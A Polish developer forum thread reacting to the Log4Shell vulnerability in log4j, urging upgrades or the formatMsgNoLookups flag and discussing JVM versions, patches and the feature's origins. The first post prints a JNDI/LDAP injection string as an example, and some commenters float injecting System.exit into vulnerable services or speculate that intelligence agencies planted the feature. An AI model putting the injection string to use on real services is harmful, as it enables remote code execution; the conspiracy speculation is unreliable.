Dzień dobry, jak już ktoś rano wstanie do pracy, to niech zacznie dzień od przejrzenia dependów we wszystkich swoich projektach i trybie powiedziałbym pilnym bumpnie wersję log4j o ile używa do 2.15+. Warto też powiadomić inne zespoły, tak na wszelki wypadek. Opisałem na Twitterku więcej o tym RCE, to nie ma sensu przepisywać drugi raz:
TL;DR Jeżeli tak, to macie prawdopodobnie solidne RCE które można napisać w jakiś 3 linijkach (np. fake serwer LDAP z klasą z exploitem) wysyłając do waszej usługi wiadomość z adresem do tego serwera XD Coś w stylu:
logger.info("${jndi:ldap://127.0.0.1:1389/whatever}");
Teraz wystarczy że ten placeholder w jakiś sposób trafi do waszych logów od strony usera (wiadomości/niepoprawny input/wyjątki/adresy) i tak właściwie, to właśnie wszedł Wam do systemu.
Tymczasem pozostaje mi życzyć spokojnego piątku :)
W sumie jest też flaga co wyłącza te lookupy, może być szybsze niż bumpowanie dependów i rebuild affected projektów -Dlog4j2.formatMsgNoLookups=true
- https://twitter.com/dzikoysk/status/1469125889690681354?s=20
To jest duża kupa. Tu lepiej imo wytłumaczone : https://www.lunasec.io/docs/blog/log4j-zero-day/
Kto w ogóle miał pomysł, że takie placeholdery będą potrzebne w loggerze...
Dopiero się dowiedziałem o tych lookupach w log4j. Ficzer o który nigdy nie prosiłem i nie wiedziałem o jego istnieniu, a który robi totalną rozpierduchę. Skąd ktoś w ogóle miał pomysł taki?
@jarekr000000: Skąd ktoś w ogóle miał pomysł taki?
- polecam film "Snowden" (2016). Agencje trzyliterowe zatrudniają(-ły?) na pełen etat ludzi do wprowadzania niby-błędów lub takich "super-potrzebnych" ficzerów do popularnego Open Source. Na pewno udało im się w BSD, nie pamiętam czy o tym było w filmie.
@vpiotr: hmm, to jest taka teoria spiskowa, która ma akurat dużo sensu. Ten ficzur był w teorii do obronienia przed resztą zespołu (ktoś się napracował), a jednocześnie nie był rozgłaśniany, gdyby był podawany wysoko na stronach tutoriala to ktoś z security by się dużo wcześniej tym zainsteresował.
@vpiotr: on to wrypał tego jndi lookupa w 2013 http://woonsanko.blogspot.com/
@jarekr000000: jego oficjalna firma BloomReach ma CTO w USA: https://www.linkedin.com/in/thexunwang/ Ale chyba nie chce mi się grzebać głębiej, liczę na to że ktoś to sprawdzi... (albo i nie).
Myślę, że wszyscy słyszymy o tej funkcji pierwszy raz :) Gdyby ktokolwiek jej kiedyś użył, to przecież fakt, że coś z tym jest nie tak widać od razu xD
Alqlogiczna historia była w struts 2. Tam też mieli magiczną interpolację, na którą średnio co kilka miesiecy ktoś znajdował rce. Aż w zasadzie całkuem dziadostwo wyłączyli.
@jarekr000000: coooo? Struts 2 jest niedostępne? https://media.giphy.com/media/1BXa2alBjrCXC/giphy.gif
Struts2.x gdzieś tam dogorywa, ale ich magiczme object notation chyba zmarło ( to długa i pohebana historia).
Śmieszne jest, że Apache się do tego nie odniosło w ogóle. Nie próbując dać znać ludziom że coś jest nie tak xD
https://github.com/YfryTchsGD/Log4jAttackSurface it burns... (repo z dowodami kilku większych aplikacji na podatność)
No to jakby naturalne, to jedna z głównych libek stanowiących impl slf4j. Tbh to przysługą dla tych firm byłoby napisać skaner co lata po usługach i wstrzykuje jakiś System.exit(666) + wiadomość, że mają wyłom w ścianie na odpalanie wszystkiego xD
to przysługą dla tych firm byłoby napisać skaner co lata po usługach i wstrzykuje jakiś System.exit(666) + wiadomość, że mają wyłom w ścianie na odpalanie wszystkiego xD
- ale prawdopodobieństwo, że taki bot sam siebie wyłączy jest za duże (np. wywali swoją chmurkę :-))
Najbardziej to bawi zerowy próg wejścia, żeby exploitować randomowe usługi. Coś w stylu głupiego przeklejania formułek z sql injection do formsów aż trafisz i tyle. A teraz jak multum dzieciaków z minecrafta zacznie się tym bawić, to już w ogóle
znaczy: zrobienie DOD i DDOS jest ultra proste, wrypanie RCE przez jndi:ldap - łatwo zutomatyzować... ale jednak to nie działa we w miarę updatowanych jvm (nawet serii 8).
wjechanie RCE w nowszej JVM jest możliwe, ale już trzeba kombinować (ale zapewne powstaną automaciki)
Tak czy siak ujebałem dziś - stojącego od lat "Glassfisha wstydu" - i tak tam nikt nie zaglądał, a jakieś głupoty korzystające z log4j były. Nie chce mi się nawet łatać.
Z jednej strony zupdatowane, a z drugiej jakieś 60% (snyk report) dalej stoi na 8 (i pewnie jeszcze pare procent na czymś niżej). No to optymistycznie nawet dzieląc to na pół, to na poziomie sameg JVMa mamy już 1/3 usług podatnych pod tym względem, oczywiscie przez pryzmat instytutu danych z d**y, ale no. Też imo problemem nie są usługi, które są aktywnie rozwijane i sobie to bumpną, ale te wszystkie które działają od lat w tle i zanim dostaną aktualizacje, to pewnie też minie trochę czasu.
Plus w sumie dalej uważam, że to pewnie jest dopiero początek. Sporo ludzi teraz przejrzy różne libki pod tym kątem i znajdą się kolejne kwiatki - jeżeli tak oczywista luka była od chyba 2013, to pytanie jak dużo takich magicznych ficzerów bez pokrycia jeszcze mają.
@Dzikoysk: na zupdatowanej 8ce (v191 10.2018 !!!) już ldap hack nie pójdzie - ale pójdą inne triki. Ale to prawda, że to początek - nie wiemy nawet od ilu dziwnych usług zależymy, a cholera wie - w ilu z nich jest log4j .. i do tego przepakietowany :-)
Java 7 jest z 2011, a przed 8 się wzbraniali bo nie lubili lambd i streamów, więc jakby 2018 dalej uważam za relatywnie nowe wydanie ( ͡° ͜ʖ ͡°) Poza tym przy losowej dystrybucji jdk na każdą platformę, to wątpię czy ludzie w ogóle wiedzą co pobierają, grunt że ma prefix jre/jdk i as long as nie trafią na jakieś bugi, to nawet tego specjalnie nie bumpują xD No ale to tam gdybanie, zobaczymy czy coś ciekawego się niedługo pojawi w związku z tym tematem
a śmiali się jak pisałem własnego loggera, zażynało 90% wydajności appki, ale za to było bezpiecznie! :D :D
Ech ja w ogóle nie lubię tych libek od logowania. Wpinasz jakiś statyczny context konfigurowany XMLem na classpathu który nagle musi opisywać użycia, które nawet do niego nie należą, każdy libka wypluwa co chce, zero nad tym jakiejś sensownej obsługi, wszystko trzeba rakowo implementować nad tym, łapiąc jakiś output loggerem rejestrowanym jako serwis czy w ogóle już processując po prostu sam output i inne głupoty :< Generator side-effectów i gdzie tutaj bycie pure ( ͡° ͜ʖ ͡°)
Oho a ja się zastanawiałam dlaczego od wczoraj jedna z firm odwala cyrk. A tu proszę, wyjaśniło się... thx za wyjaśnienie, przynajmniej wiem czego się uczepić bo akurat log4j mi się przewija w kontekście i w logach. Być
https://twitter.com/yazicivo/status/1469393075768373255 potwierdzone, że bumpnięta Java neguje tylko te najprostsze konkretne ataki, ale dalej jest podatna na RCE wrzucane w innej postaci.
https://twitter.com/superevr/status/1469094099827535872?s=20 - * Podobno * nawet z łatką dla RC1 istnieją na to exploity. Istnieje taka możliwość, szczególnie że dopiero ten temat wypływa. O ile to możliwe, warto przejść na logbacka/tinylog, przynajmniej na czas wyjaśnienia sprawy. Problem zaadresowany 5 dni temu, ale ostatni fix wszedł 6h temu, więc pewnie jeszcze chwilę to potrwa, warto śledzić repo przez jakiś czas.